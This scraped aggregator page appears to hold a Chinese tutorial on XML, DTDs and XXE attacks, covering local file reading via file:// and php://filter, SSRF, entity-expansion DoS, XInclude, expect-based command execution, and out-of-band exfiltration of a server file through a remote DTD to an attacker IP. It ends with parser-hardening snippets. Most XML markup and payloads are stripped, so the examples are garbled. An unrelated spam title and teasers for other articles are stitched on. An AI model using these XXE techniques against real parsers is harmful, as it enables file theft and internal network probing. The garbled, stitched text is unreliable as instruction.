大连做网站哪家便宜深圳市龙华区房价

news/2025/9/26 11:18:45/文章来源:
大连做网站哪家便宜,深圳市龙华区房价,东莞华商网络科技有限公司,wordpress apple pro作者#xff1a;激越王预估稿费#xff1a;400RMB投稿方式#xff1a;发送邮件至linwei#360.cn#xff0c;或登陆网页版在线投稿你是否听说过xml注入攻击呢#xff0c;或者对它只知其一不知其二呢#xff1f;现在让我们从xml相关基础知识开始#xff0c;一步步了解xml攻…作者激越王预估稿费400RMB投稿方式发送邮件至linwei#360.cn或登陆网页版在线投稿你是否听说过xml注入攻击呢或者对它只知其一不知其二呢现在让我们从xml相关基础知识开始一步步了解xml攻击的原理和方式。这篇文章主要针对扫盲请大佬们轻喷有错误的地方欢迎指出。XML 被设计为传输和存储数据其焦点是数据的内容。HTML 被设计用来显示数据其焦点是数据的外观。XML 把数据从 HTML 分离。XML 是独立于软件和硬件的信息传输工具。Everyday Italian      Giada De Laurentiis       2005 30.00 XML 中一些字符拥有特殊的意义。为了避免这个错误请用实体引用来代替特殊字符附表一附表一注释在 XML 中只有字符 合法的 XML 文档是“形式良好”的 XML 文档同样遵守文档类型定义 (DTD) 的语法规则。DTD介绍文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。DTD 可被成行地声明于 XML 文档中也可作为一个外部引用。带有 DTD 的 XML 文档实例note []DaveTom实例源码当DTD 位于 XML 源文件的外部通过下面的语法被封装在一个 DOCTYPE 定义中root-element SYSTEM filename外部DTD实例note SYSTEM note.dtdDaveTomRemindernote.dtd 文件实例源码dtd文件PCDATA 的意思是被解析的字符数据(parsed character data)。PCDATA 是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。文本中的标签会被当作标记来处理而实体会被展开。不过被解析的字符数据不应当包含任何 、 或者 字符需要使用 、 以及 实体来分别替换它们。CDATA 的意思是字符数据(character data)。CDATA 是不会被解析器解析的文本。在这些文本中的标签不会被当作标记来对待其中的实体也不会被展开。DTD元素备注由于仅仅是扩展所以仅展示一些常用的元素语法DTD – 属性属性声明使用下列语法DTD 实例:XML 实例:以下是属性类型的选项默认值参数可使用下列值DTD – 实体(重要)实体是用于定义引用普通文本或特殊字符的快捷方式的变量。实体引用是对实体的引用。实体可在内部或外部进行声明。Schema 介绍(XSD)XML Schema 是基于 XML 的 DTD 替代者。XML Schema 描述 XML 文档的结构。XML Schema 语言也可作为 XSD(XML Schema Definition)来引用攻击套路一般技巧1.引用外部实体远程文件读取2.URL请求(可借此发起ssrf)3.参数实体4.通过 XInclude 包含外部资源5.DoS1. 外部实体引用通过外部实体引用可以获取远程文件内容本地实验test.txt 文件中的内容就是 123123admin但是有个问题如果文件内容格式太过复杂就会导致 xml 解析失败(比如内容里含有 空格、一些特殊字符 ; 之类的文件)这个其实有绕过方法的如上文所述可以利用 参数实体具体的内容后面介绍还有一个我们知道的方法就是使用 php 伪协议php://filter 读取文件内容( 文件内容经过 base64 过滤器就是全字符的没有格式干扰)2. URL 请求(ssrf)直接使用外部实体引用就可以发起一个请求原因是很多 xml 解析器读取到引用外部文件的模块时就会强制性发出请求本地实验:首先在 172.16.169.153 监听 1231 端口在 172.16.169.142 利用 xml 发出请求(将 xml 放入浏览器即可)如上图浏览器一直处于加载内容状态这是因为 153 的机器上没有返回信息…172.16.169.153 的 1231 端口状态这个 ssrf 可以值得注意一下因为对 xml 的攻击中大都是使用 外部实体引用那么如果直接加载 xml 的时候禁止外部实体引用呢这种情况下大多数攻击都会失效但是 ssrf 不会别忘了请求外部资源还有一种方式直接使用 DOCTYPE3. DoS任何能大量占用服务器资源的方法都可以造成 DoS这个的原理就是递归引用lol 实体具体还有 lol 字符串然后一个 lol2 实体引用了 10 次 lol 实体一个 lol3 实体引用了 10 次 lol2 实体此时一个 lol3 实体就含有 10^2 个 lol 了以此类推lol9 实体含有 10^8 个 lol 字符串…那么引用 lol9boom…4. 参数实体参数实体之前在远程文件读取的介绍中可以绕过文件内容复杂导致解析失败的限制参数实体以%开头 我们使用参数实体只需要遵循两条原则1.参数实体只能在DTD声明中使用。 2.参数实体中不能再引用参数实体。如图/etc/fstab 是一个内容复杂的文件如果直接利用 SYSTEM 请求远程文件会解析出错的也就是读不到文件内容。那么就可以使用参数实体进行绕过 xml 严格的语法规则其实流程很简单start 参数实体的内容 goodies 参数实体的内容 file:///etc/fastab (使用 file 协议读取文件)end 参数实体的内容]]然后接着定义了一个 dtd 参数实体使用 SYSTEM 发出获取 combine.dtd 的内容并且在 DTD 内部引用了 dtd 参数实体那么这个时候源文件中的 DTD 应该是这样最后再由源文件中引用 all 普通实体引发文件读取其中这个 CDATA 的意思是为 文件内容添加属性不被解析的普通字符这样参数实体的引用就不需要在xml文档解析的时候保持xml闭合,xml 解释器就会直接忽略文件内容的语法规则达到了绕过的目的攻击方iphttp://192.168.229.130/eval.dtd1.php服务器IPhttp://192.168.229.128/2.php在攻击方的WEB目录上有一个叫做eval.dtd文件用于攻击然后在服务器上传2.php执行2.php报错没关系。下面看一下代码1.php:简单的接受get参数传的内容然后保存在1.txt下EVAL.DTD文件的内容为这里注意使用参数实体时在引用实体的格式中需要编码用%代替 %由于嵌套引用外部参数实体如果直接利用%在引用的时候会导致找不到该参数实体名称作用为将接受到外部file实体应用到1.php?file的%file上这样在服务器上传来的内容就会传到file参数上然后保存到1.txt上在2.PHP文件中第一个ENTITY用于读取服务器本地文件test.txt第二个用于引用远程dtd文件然后在实体利用上需要注意顺序先执行名为dtd实体引用攻击方eval.dtd的代码获得了实体send的执行方式http://192.168.229.130/1.php?file%file;然后将file实体获得的内容引用到192.168.229.130/1.php?file至此攻击完成攻击方服务器以保存了1.txt这里提一下前面说过的在读取文件的时候当存在空格尖括号的时候这种直接读取内容的方式会报错显示无效url抓包时抓不到在浏览器上访问http://192.168.229.130/1.php?fileblessing software的包结合之前的的协议应用可以使用常用的php://filter读取base64编码如下解码即可。只是选了几个协议作为例子这里的协议都能使用。这里附加几个关于xxe漏洞的英文文档和实例5. 通过 Xinclude 包含外部资源基于XInclude的文件包含,使用的另一套 xml 语法约束XML schemaXInclude提供了一种较为方便的取回数据的思路(再也不用担心数据不完整而导致parser抛出一个错误)而我们能够通过parse属性强制引用文件的类型。不过Xinclude需要手动开启测试发现所有xml parser都默认关闭这一特性。PHP 和 JAVA 环境php 支持的扩展协议JavaXerces默认的Oracles Java Runtime Environment下的XML parser是Xerces一个apache的项目。而Xerces和Java提供了一系列的特性这些特性又能导致一些严重的安全问题。上述的那些攻击手法(DOCTYPEs for SSRF,文件读取,参数实体的外带数据)在java的默认配置下能够运用自如,java/Xerces也支持XInclude 但是需要setXIncludeAware(true) 和setNamespaceAware(true)。phpexpect的RCE很遗憾这个扩展并不是默认安装的然而安装了这个扩展的XXE漏洞是能够执行任意命令。root[]cmd;还有 python、.net 环境等防御1 直接使用开发语言提供的禁用外部实体的方法这样其实没法防御 xml 制造的 ssrfPHPlibxml_disable_entity_loader(true);JAVA:DocumentBuilderFactory dbf DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);Pythonfrom lxml import etreexmlData  etree.parse(xmlSource,etree.XMLParser(resolve_entitiesFalse))2 过滤用户提交的 xml 数据敏感关键词 总结XML 攻击大都是由解析器发出外部资源请求而造成的还有结合一些协议的特性可以轻松绕过 xml 格式要求。其中主要的关键字 DOCTYPE(DTD的声明)ENTITY(实体的声明) SYSTEM、PUBLIC(外部资源申请)。由与 普通实体 和 参数实体 的灵活引用从而引发各种套路资料来源

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/918170.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

建设科技处网站wordpress wap

目录 说明批量zip2pdf批量zip2pdf下载SS号重命名源代码SS号重命名源代码下载附录,水文年鉴 说明 1、zip2pdf是一个开源软件,支持自动化解压压缩包成PDG,PDG合成PDF,笔者在其基础上做了部分修改,支持批量转换。 2、秒…

提供做网站公司wordpress开启多站点

我们组件中 会有很多通用的信息和方法 那么 首先 我们看通用事件 通用事件中 最常用的就是我们的点击事件 比如说 我们之前常写的 组件.onClick(()>{//事件逻辑 })但是 我们之前 都没有用它接参数 我们可以这样 Button("跳转").onClick((ewat: ClickEvent)>…

网站建设html代码邢台信息港二手房出售

1.简介 双指针技巧是一种常见的算法解题方法,通过使用两个指针在数据结构上同时移动,可以解决多种问题。这种技巧通常适用于数组、字符串和链表等数据结构,下面我将详细介绍双指针技巧的特点和应用场景: 特点: 快慢…

完整教程:Zookeeper与Kafka:分布式系统中的协调与消息队列

完整教程:Zookeeper与Kafka:分布式系统中的协调与消息队列pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Conso…

vite-vue3 项目优化首屏加载速度

A嵌入B,B加载速度太慢了,需要4s+,需优化: B系统技术栈: vue3 + vite 优化结果如下,上下对比还有有差距的:一、先处理: 首屏加载的文件——先优化文件大 step1: 安装可视化插件 rollup-plugin-visualizer; vi…

深入解析:小九源码-springboot050-基于spring boot的苏蔚家校互联管理系统

深入解析:小九源码-springboot050-基于spring boot的苏蔚家校互联管理系统pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-famil…

建设自己公司的网站公司网站本地如何弄

目录 前言 一、Mybatis-Plus 开启日志的方式 二、测试 三、日志分析 章末 前言 小伙伴们大家好,相信大家平时在处理问题时都有各自的方式,最常用以及最好用的感觉还是断点调试,但是涉及到操作数据库的执行时,默认的话在控制台…

12_TCP和UDP实现服务端和客户端的通信

一、TCP实现多进程通信 server_process.c 服务端代码: #define _XOPEN_SOURCE #include <stdio.h> #include <arpa/inet.h> #include <unistd.h> #include <string.h> #include <stdlib.h…

各种软件的官方文档和安装包下载地址记录

各种软件的官方文档和安装包下载地址记录组件 官网文档 官方下载地址Elasticsearch https://www.elastic.co/guide/en/elasticsearch/reference/index.html https://www.elastic.co/downloads/past-releases?product=…

基于导频的OFDM系统的信道估计(使用LS估计算法)

在OFDM系统中,信道估计是关键的一步,因为它直接影响到信号的解调和系统性能。最小二乘(LS)估计算法是一种常用的信道估计方法,它通过已知的导频符号来估计信道响应。 基于MATLAB的OFDM系统信道估计的实现,使用LS…

Day22super详解

super是一个关键字,用于子类访问父类的属性方法与构造器,与this一样在调用构造器的时候两者由于java语法的强制要求,都需要放在第一行,所以当用this取调用子类的构造器是,无法在用super去调用父类的构造器,否则会…

台州网站搜索排名巴中建设网站

千视携NDI 6技术闪耀2024 CCBN展会&#xff0c;呈现轻量化媒体解决方案 2024年4月24日至26日&#xff0c;北京首钢会展中心将举办第三十届中国国际广播电视网络技术展览会&#xff08;CCBN2024&#xff09;。这是中国广播电视行业的一项重要盛会&#xff0c;将有国内外超600家…

九讯鹿网站建设导购个人网站怎么做的

1、UML-4+1视图 UML-4+1视图将会与后面的架构4+1视图会一一对应上 视图往往出现在什么场景:我们看待一个事物,我们觉得它很复杂,难以搞清楚,为了化繁为简,我们会从一个侧面去看,这就是视图。而4+1视图就是分不同角度去看事物。 逻辑视图(logical view) 一般使用类与对…

外发图纸如何控制的最佳实践与注意事项

在工程项目中,外发图纸的管理非常重要。为了保证图纸的准确性和安全性,各个环节都需要有效控制。首先,标准化流程是基础,确保图纸的生成和审核符合要求。此外,使用像Ftrans B2B企业间文件安全交换系统这样的工具,…

Gitee:中国开发者生态的数字底座正在重构技术格局

Gitee:中国开发者生态的"数字底座"正在重构技术格局 在全球数字化转型加速推进的当下,中国开发者生态正在经历一场深刻的变革。作为本土领先的代码托管平台,Gitee凭借其独特的本土化优势和创新服务模式,…

快递100

[ { "label":"中通快递", "value":"zhongtong", "type":"国内运输商" }, { "label":"圆通速递&q…

文件同步软件是什么?主要有哪几种类型?

文件同步软件在现代企业中扮演着关键角色,帮助保障数据一致性和提高协作效率。它的运用不仅能确保团队成员在不同设备间实时共享文件,还能简化数据管理流程。以Ftrans FTC文件传输管控系统为例,这种软件支持多种文件…

“铸网2025”山东省工业和互联网CTF竞赛-web

还是太菜了源码 <?php highlight_file(__FILE__); class MGkk8 {public $a;public $b;public function rpl2(){$b = $this->b;if ($this->a == "RPG") {($b->a)($b->b."");}} } c…

辽宁模板网站建设公司晋州做网站的联系电话

深入miniqmt&#xff1a;创建交易对象的完整指南 在量化交易领域&#xff0c;miniqmt作为一个强大的工具&#xff0c;为开发者提供了执行程序化交易的接口。在进行任何交易操作之前&#xff0c;首先需要创建一个交易对象。本文将详细介绍如何在miniqmt中创建并配置交易对象&am…

python+springboot+uniapp微信小代码“美好食荐”框架 美食推荐 菜谱展示 用户互动 评论收藏框架

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …